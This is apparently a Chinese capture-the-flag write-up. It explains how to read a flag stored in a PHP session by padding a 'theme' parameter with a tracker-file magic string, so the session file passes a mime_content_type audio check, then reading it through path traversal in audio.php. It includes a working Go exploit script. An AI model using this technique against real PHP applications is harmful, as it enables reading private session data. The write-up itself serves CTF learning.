题目中给了源码
在index.php
中将flag
的值赋给了session['flag']
session['theme']
接收GET传入的theme
参数。。。??
是PHP中的空合并运算符它的作用是检查左侧的值是否存在且不为null。如果存在,则返回左侧的值;如果不存在,则返回右侧的值。
如果theme
以GET的方式传入了值。则$_SESSION['theme']
将使用传入的值
在audio.php
中存在文件读取。但是会判断文件的mine
类型是否为audio
mime_content_type
函数以magic.mime
文件中的信息来确定mime
我们传入的theme
值将会在/tmp/sess_xxx
文件的中间出现。我们可传入便宜量较大的字符串来更改文件的mime
例如:M.K.
、 M!K!
、FLT4
、FLT8
这些便宜量较大的值(1080)
同时不知道flag占据了多少了个字节。可以进行4个循环在每个循环中添加一个字符来进行破解
这里是我用exp
Golang
package main
import (
"fmt"
"io"
"io/ioutil"
"net/http"
"net/url"
"strings"
)
func main() {
target := "http://192.168.22.129:1880"
target2 := "http://192.168.22.129:1880/audio.php"
//target := "https://httpbin.org/get"
Client := http.Client{}
for i := 0; i < 4; i++ {
req1, err := http.NewRequest("GET", target, nil)
if err != nil {
fmt.Println(err)
}
param := make(url.Values)
param.Add("theme", strings.Repeat("s", i)+strings.Repeat("4CHN", 270))
req1.URL.RawQuery = param.Encode()
req1.Header.Add("Cookie", "PHPSESSID=yex")
do, err := Client.Do(req1)
if err != nil {
fmt.Println(err)
}
defer do.Body.Close()
_, err = ioutil.ReadAll(do.Body)
req2, err := http.NewRequest("GET", target2, nil)
param2 := make(url.Values)
param2.Add("f", "../../../../../../../tmp/sess_yex")
req2.URL.RawQuery = param2.Encode()
do2, _ := Client.Do(req2)
defer do2.Body.Close()
data2, _ := io.ReadAll(do2.Body)
if do2.StatusCode != 403 {
fmt.Println(string(data2))
}
}
}